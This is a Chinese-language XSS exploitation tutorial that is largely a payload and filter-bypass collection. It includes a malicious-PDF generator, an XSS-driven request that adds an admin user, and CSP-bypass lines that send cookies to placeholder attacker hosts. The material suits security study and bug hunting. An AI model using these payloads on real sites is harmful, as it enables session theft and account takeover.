前言

主要围绕xss的利用方法和挖掘思路

xss基本分类

可以检测是否存在xss的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<script>alert(/xss/)</script>
<script>prompt(/xss/)</script>
<script>confirm(/xss/)</script>
<script>console.log(3)</script>
<script>document.write(1)</script>

<!--介绍几个典型payload
//需要点击 -->
<a href="javascript:alert(1)">test</a><!--相当于嵌入恶意链接,test不可省略 -->
<button onclick=alert(1)>Click me</button>
<form><button formaction=javascript:alert(1)>XSS <!--标签会自动补全,下面一样,闭合标签可加可不加-->
<form action=javascript:alert(1)><input type=submit value=XSS>

<!--不需要点击

//基于on事件属性-->
<img src=1 onerror=alert(1)> <!--相当于加载图片报错 -->
<svg onload=alert(1)></svg>
<div onmouseover='alert(1)'>DIV</div>
<input onfocus=alert(1) autofocus>
<select onfocus="alert('xss');" autofocus></select>
<details open ontoggle=alert(1)>
<body onload="alert('xss');"></body>

<!--不基于on事件的触发-->
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiVGhpcyBpcyBhIHRlc3QiKTwvc2NyaXB0Pg=="></object> <!--<script>alert("This is a test")</script> -->
<iframe src="javascript:alert('XSS');"></iframe>
<iframe srcdoc="<img src=1 onerror=alert(1)>"></iframe>

反射型

黑客往往需要诱使用户“点击”一个恶意链接,才能攻击成功

1
2
3
4
5
    <? php
$input = $_GET["param"];
echo "<div>".$input."</div>";
?>
//?param=<img src=1 onerror=alert(1)>

由于漏扫的普及,反射性xss已经消失殆尽了

储存型

如写评论,存在数据库中,别人看评论时,调用数据库直接拼接,触发xss
如果没有在源头处理xss,都有可能存在存储型xss,想挖掘存储型xss就得多测试多观察

DOM型

可以看成特殊的反射型,通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。

实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    <script>

function test(){
var str = document.getElementById("text").value;
document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";
}

</script>

<div id="t" ></div><!--填入链接-->
<input type="text" id="text" value="" /> <!--填入框-->
<input type="button" id="s" value="write" onclick="test()" /> <!--触发按钮-->

<!--如果输入 ' onclick=alert(/xss/) // -->
<!--最后拼接就变成了--> <a href='' onlick=alert(/xss/) //' >testLink</a>

source

除此传参之外,还有这些注入点

1
2
3
4
5
document.URL
window.location.href //整个URl字符串
window.location.pathname//URL 的路径部分
window.location.search//查询(参数)部分
window.location.hash //用于获取或设置当前 URL 中的哈希部分(即 # 后面的内容),hash 中的内容不会被发送到服务器

在新版的浏览器会对以上参数获取值进行url编码,location.hash和location.pathname中的:'.()*_-!~不会被编码,\虽然不会编码但是会被转义,location.href和document.URL为上述的拼接,编不编码看具体位置

一些危险的解码操作

1
2
decodeURIComponent(window.location.search.substring(1))     //切片,从1开始
new URLSearchParams(window.location.search).get('xssparam')
AJAX

XMLHttpRequest或fetch的目标url可控时,并且响应注入到页面里,可以控制响应内容造成Xss

1
2
3
var url = "https://" + target + "/api/v1/reset/" + referenceID;
var request = new XMLHttpRequest();
request.open("get", url, true);
postMessage()引起的xss

window.postMessage() 方法可以安全地实现跨源通信。通常,对于两个不同页面的脚本,只有同源策略时,这两个脚本才能相互通信。window.postMessage() 方法提供了一种受控机制来规避此限制,只要正确的使用,这种方法就很安全。 

实例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//发送方
<script>
function pocLink() {
let win = window.open('https://fastest.joox.com/?123=icjsejt2#123456');
let msg = "alert(123)";
setTimeout(function(){
win.postMessage(msg, '*');
}, 5000);
}
function pocFrame(win) {
win.postMessage({sourceId: 0, type:"BURPDOMINVADER/reissue", message: JSON.stringify({"manipulatedData":"{\"type\":\"UPDATE_ENV_INFO\",\"data\":\"alert(123)\"}","origin":"https://fastest.joox.com.fakejoox.com","messageType":"json-object"})}, '*');
//也能发送json对象
}
</script>
</head>
<body>
<a href="#" onclick="pocLink();">PoC link</a> <!--利用方法一通过诱导用户点击打开目标页面触发监听事件-->
<iframe src="https://fastest.joox.com/?123=icjsejt2#123456" onload="pocFrame(this.contentWindow)"></iframe> <!--利用方法二通过小窗口触发监听事件-->
</body>
1
2
3
4
5
6
//接受方
var messageEle = document.getElementById('recMessage');
window.addEventListener('message', function (e) { // 监听 message 事件,接收到postMessage时执行函数

messageEle.innerHTML = "从"+ e.origin +"收到消息: " + e.data;//危险操作,没有验证origin来源,并且直接拼接传入的内容
});

sink

1
2
3
4
5
6
7
8
9
10
11
12
document.getElementById("y").innerHTML="xxxxxxxxxx";
document.write("xxxxxxxxxxxx");
document.body.appendChild();
document.getElementById("y").src="xxxxxxxxxx";
//还有一些网站,使用了第三方的JS库,譬如jQuery时,会有
$("#y").html("xxxxxxx");
$('#backLink').attr("href","xxxxxxx");

$(".content_block_head").prepend("xxxxxxx"); //用于在选定元素的开头插入内容
$(".content_block_head").after("xxxxxxx");

eval(h_xhr.responseText);

挖掘思路

根据漏洞位置确定挖掘思路

直接插入HTML标签

1
2
3
4
payload: <script>alert(1)</script>
<div>{{content}}</div>
result:
<div><script>alert(1)</script></div>

这类XSS通常都被浏览器的XSS过滤器秒杀了,通常,我们只需要 < , > 过滤掉即可。

在js文件里

当输入位于脚本块中的字符串分隔值内时使用

1
2
'-alert(1)-'
'/alert(1)//

示例源代码

1
2
3
<script>
var sitekey = 'REFLECTED_HERE';
</script>

输入有效负载后

1
2
3
<script>
var sitekey = ''-alert(1)-'';
</script>

一般将引号转义就可以了

当同一行JS代码存在多次反射时,可以绕过引号过滤

1
2
/alert(1)//\
/alert(1)}//\

示例源代码

1
2
3
<script>
var a = 'REFLECTED_HERE'; var b = 'REFLECTED_HERE';
</script>

输入有效负载后

1
2
3
<script>
var a = '/alert(1)//\'; var b = '/alert(1)//\';
</script>

输出在HTML属性里的情况

将用户输入的值直接作为属性值

在标签的 href,src,link 等地址属性中,包含 **javascript:**开头的可执行代码。
在 onload、onerror、onclick 等触发事件中,注入不受控制代码

并且事件属性或地址属性内的代码不局限于一条语句,可以包含多条语句

1
2
3
<button onclick="alert('Hello'); console.log('Button clicked'); fetch('https://api.example.com').then(response => response.json()).then(data => console.log(data)).catch(error => console.error('Error:', error))">
Click Me
</button>
使用innerHtml,prepend,after等自定义节点拼接属性

如果使用属性命名的方式,会自动html实体化编码

<input maxlength="500" placeholder="请输入关键词" class="ant-input css-20i901" type="text" value="...">如这个例子value是注入点,利用方法是将自己编写一个属性,如123" onclick="alert(1)

输出在属性中一般过滤了 “” 就可以了

上传文件引起的xss

有的文件上传用的黑名单(如lnmp),有的文件上传允许上传pdf,svg文件,都会引起xss

上传文件回显结果

在文件名中使用XSS(文件上传)

1
"><svg onload=alert(1)>.jpeg

在元数据中使用XSS(文件上传)
直接在 Windows 上右键打开即可修改即可
QQ20240923-192317
利用面比较窄,exif 在线查看,大部分都存在该漏洞。

上传文件可预览

注意:如果是插在src上,如<img src="untrusted.svg"/>是无法触发xss,即使你能看到上传的图片,所以如果文件是存在云上,且无法预览是无法触发xss的

pdf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from PyPDF2 import PdfReader, PdfWriter
from PyPDF2.generic import NameObject, DictionaryObject, TextStringObject
# 创建一个新的 PDF 写入器
new_pdf = PdfWriter()
# 添加一个空白页面(如果你有现有的PDF文件,可以使用PdfReader读取)
new_pdf.add_blank_page(width=72, height=72)
# JavaScript代码
js_code = """
this.disclosed = true;
app.alert('xss attack!');
"""
# 获取文档级别的字典对象
catalog = new_pdf._root_object
# 创建一个 DictionaryObject 来存放 JavaScript 动作
js_dict = DictionaryObject()
js_dict.update({
NameObject('/S'): NameObject('/JavaScript'),
NameObject('/JS'): TextStringObject(js_code)
})
# 设置 /OpenAction 到 JavaScript 代码
catalog.update({
NameObject('/OpenAction'): js_dict
})
with open("output.pdf", "wb") as output_stream:
new_pdf.write(output_stream)

可以试试通过CVE-2024-4367来实现PDF XSS 获取Cookie、账户接管等

svg

SVG(可缩放矢量图形)是一种用于描述二维矢量图形的XML语言。它可以在网页上以矢量形式显示,这意味着它们可以无损地缩放到任意大小而不失真。SVG文件通常包含图形、路径、文本和其他图形元素的描述。

1
2
3
4
5
6
7
8
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(1);
</script>
</svg>
xml
1
2
3
4
5
6
7
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml"> alert(1);
</something:script>
</body>
</html>

富文本编辑器下的xss

富文本编辑器是一种允许用户以所见即所得的方式创建和编辑文本内容的工具。与普通文本编辑器不同,富文本编辑器不仅支持基本的文本输入,还允许用户添加格式、颜色、图片、链接、表格等多种元素。广泛应用于博客、文章撰写、在线表单、邮件客户端等各种场合,增强了用户在内容创作过程中的灵活性和表达能力。

无用的self-dom-xss

如vue富文本编辑器直接v-html来渲染前端xss,原则上是可以弹窗的,但是很难去利用,毕竟你输入这个操作,没有产生数据包没办法用csrf更不会存在服务器里,但是还有一种情况,如果存在Storage里并且可以通过url或传参影响到它,那还是可以利用的

储存xss

对于利用风险来说,如果是实时跟新,或者有保存按钮,则可能存在富文本编辑器下的储存xss漏洞,还有就是对于利用难度上来说,如果一个富文本功能比较强大,如可以插图片,则更容易绕过设置的检测

如果采用安全可靠的HTML过滤库,如HTMLPurifier、DOMPurify等,则会有效防范利用

  1. 删除掉一些危险DOM节点,比如iframe、script等
  2. 对属性进行一遍处理,处理逻辑是只保留白名单里名字开头的属性,对于满足正则/href|src|background|on+/i的属性,进行额外处理

绕过检测

下面的思路都是源自p神,本人暂时没有分析过富文本编辑器源码,但是实战中有用到过这些思路来绕过限制,还是很好用的

富文本编译器构建语法树和匹配关键字时大概率是用的正则匹配,绕过思路也是围绕绕过正则匹配来展开的
例如:(<[A-Za-z][A-Za-z0-9-]*[^>]*)(onload\\s*=)来匹配标签里是否有onload

替换为空导致的问题,这个就是老生常谈的了,如果只用替换来代替检测而没有后一步的操作的化,必然会带来问题

字符匹配导致的问题<svg><svg x=">" onload=alert(1)>

jsonp xss

  1. 试探性的构造了一个参数callback=xxx,成功返回了xxx{},可见确实存在jsonp
  2. 所以最终的payload为: https://test.target.com/strange/back.jsp?callback=<img src=x onerror=alert(document.domain)> ,也就成功造成了XSS
    设置Conten-type为application/jsonapplication/javascripttext/plain,会将输入的内容进行实体编码,所以一般情况下不存在xss,如果设置为text/html 未过滤callback的话就等于反射xss

绕过手法

编码绕过

解析顺序: js Unicode 编码< url 编码< html 实体编码

  1. html 实体编码
    当浏览器解析转化完成dom树之后,就会对**节点内容(如节点属性,节点的内容)**进行html解码,也就是说html 实体编码不会影响到dom树的结构,只能用来绕过黑名单
  2. url 编码
    如果属性有指定超链接的需求时,如href,会对其中的值进行一次url解码(不能对协议类型进行任何的编码操作,如http://)
  3. js Unicode 编码
    当处理有关js的信息时,会进入JS 的解析模式,进行一次Unicode解码(Unicode 编码只能编辑标识符,如方法名,参数名,参数)

输入在<script> 标签里的 JavaScript 中是不会有 html 实体编码

利用解析编码

1
2
3
4
5
6
7
8
9
10
11
12
<a href="javascript:alert(1)">test</a>

<!--html 实体编码-->
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">test</a>
<a href="&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0031&#x0029">test</a>

<!--url编码-->
<a href="javascript:%61%6c%65%72%74%28%31%29">test</a>

<!--js Unicode 编码 -->
<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">
<input onfocus=location="javascript:\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029" autofocus>
1
2
3
4
5
<a href="{A}javas{B}cript{C}:alert(1)">

A) &#01, &#02 ... up to ... &#32
B) &#09, &#10, &#13
C) &#09, &#10, &#13

利用协议或函数编码

1
2
3
4
5
6
<!--利用data 伪协议进行base64编码-->
<iframe src="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></iframe>
<!--利用atob()进行base64解码-->
<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
<!--利用String.fromCharCode进行acsil编码-->
<a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>test</a>

特殊符号绕过

空格过滤绕过

/,/123/,%09,%0A,%0C,%0D,%20

()过滤绕过

有waf可以把()换成``

1
2
3
4
<!--连''一同绕过-->
<script>alert`1`</script>
<img src=1 onerror=location="javascript:"+"aler"+"t%281%29">

单引号过滤绕过

1
<script>alert(/xss/)</script>

关键词绕过

函数拼接

1
2
3
4
5
6
7
8
9
<img src="x" onerror="eval('al'+'ert(1)')">
<img src="x" onerror="top['al'+'ert'](1)">
<img src="x" onerror="window['al'+'ert'](1)">
<img src="x" onerror="self[`al`+`ert`](1)">
<img src="x" onerror="parent[`al`+`ert`](1)">
<img src="x" onerror="frames[`al`+`ert`](1)">
<svg onload=location='javas'.concat('cript:ale','rt(1)')></svg>

<img src onerror=top[a='al',b='ev',b+a]('alert(1)')>

location

location对象的hash属性用于设置或取得 URL 中的锚部分,比如:http://localhost/1.php#alert(1)

1
2
<body onload=eval(location.hash.slice(1))
<body onload=Function(location.hash.slice(1))()

利用思路

通过csrf 提权 存储型-self-xss

一些私密的页面无法被别人看到,如个人信息设置页面的xss,可以通过csrf让目标自己执行xss漏洞,从而达到效果

通过xss实现csrf

如果cookie不可读可以使用csrf读取用户敏感信息或者执行特定操作,甚至可能形成xss蠕虫

1
2
3
4
5
6
<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://192.168.225.165/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=weiwei&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

读取LocalStorage和IndexedDB的数据

在HTML5发布后,提供了一种新的客户端本地保存数据的方法,那就是Web Storage,它也被分为:LocalStorageSessionStorage(就是开发工具里存储里面的本地存储和会话存储),它允许通过JavaScript在Web浏览器中以键值对的形式保存数据。而相比Cookie有如下优点:

  1. 拥有更大的存储容量,Cookie是4k,localStorage为5M。
  2. localStorage没有过期时间,除非手动删除,否则数据会一直存在。sessionStorage会在当前会话内有效
  3. Storage数据仅能在客户端存取,不会自动发送到服务器。

LocalStorage:适合存储较大且不需要频繁与服务器交互的数据,例如用户偏好设置、应用状态等。
Cookie:适合存储会话相关的信息,比如用户身份验证、跟踪用户行为等。

Localstorage存储的数据可以通过JavaScript代码访问和修改,如果把用户的敏感信息或者直接把识别用户的token放在Localstorage,这可能导致用户数据泄露、越权

1
2
<script>alert(localStorage.getItem(‘key’))</script>
<script>alert(JSON.stringify(localStorage))</script>

IndexedDB支持更大的存储空间,通常能存储数百MB或更多的数据,存储结构化数据,如对象、数组等,且支持索引和事务管理,提供比 localStorage 更复杂的存储能力,适用于需要存储大量数据、进行复杂查询、支持离线应用和数据持久化的场景

LocalStorage与SessionStorage的区别

多个选项卡和窗口中打开了一个应用程序,而一旦在其中一个选项卡或窗口中更新了LocalStorage,则在所有其他选项卡和窗口中都会看到更新后的LocalStorage数据。但是,SessionStorage数据独立于其他选项卡和窗口。如果同时打开了两个选项卡,其中一个更新了SessionStorage,则在其他选项卡和窗口中不会反映出来。

CSP

所谓CSP(Content Security Policy)即浏览器内容安全策略, 为了缓解部分跨站脚本问题,CSP的实质就是白名单机制,当有从非白名单允许的JS脚本出现在页面中,浏览器会阻止脚本的执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">

<meta http-equiv="Content-Security-Policy" content="script-src 'self';frame-src 'self'">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSP</title>
</head>

<body>
<!-- 设置 frame-src 'self'导致非当前域名的 iframe 加载失败 -->
<iframe src="//player.bilibili.com/player.html?aid=70951224&bvid=BV1EE411Z7J2&cid=122934671&page=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"> </iframe>
</body>

<!-- script-src不包含 'unsafe-inline' 导致内联JavaScript 代码加载失败 -->
<button onclick="alert('This will be blocked')">Click me</button>
<script>
// script-src不包含 'unsafe-inline' 导致内嵌JavaScript 代码加载失败
alert("xss!");
</script>

<!-- 设置script-src 'self'导致非当前域名的 外部 JavaScript 文件加载失败 -->
<script type="text/javascript" src="http://ctftest.com/api.js"></script>


</html>

Content-Security-Policy:
default-src ‘self’; /* 仅允许加载来自同一源的资源 /
=
script-src ‘self’; /
仅允许从同一源加载脚本 /+
connect-src ‘self’; /
仅允许通过 XMLHttpRequest, WebSocket 等连接到同一源 /+
img-src ‘self’; /
仅允许加载本地或可信任的图片 /+
style-src ‘self’; /
仅允许从本地或可信站点加载样式 /+
form-action ‘self’; /
仅允许从同一源提交表单 */

csp的绕过

1
2
3
4
5
6
7
8
//可以执行任意JS脚本,但是由于CSP无法数据带外(connect-src 'self'),使用location绕过
location.href = "vps_ip:xxxx?"+document.cookie

//safe页面做了csp防护,而index页面没有,并且index页面 存在xss漏洞,就可以通过iframe绕过
var iframe = document.createElement('iframe');
iframe.src="./safe.php"; //index页面地址的范围存在于safe页面的CSP iframe-src中
document.body.appendChild(iframe);
setTimeout(()=>location.href='http://x.x.x.x/cookie/'+escape(document.cookie),1000); //获取safe.php页面cookie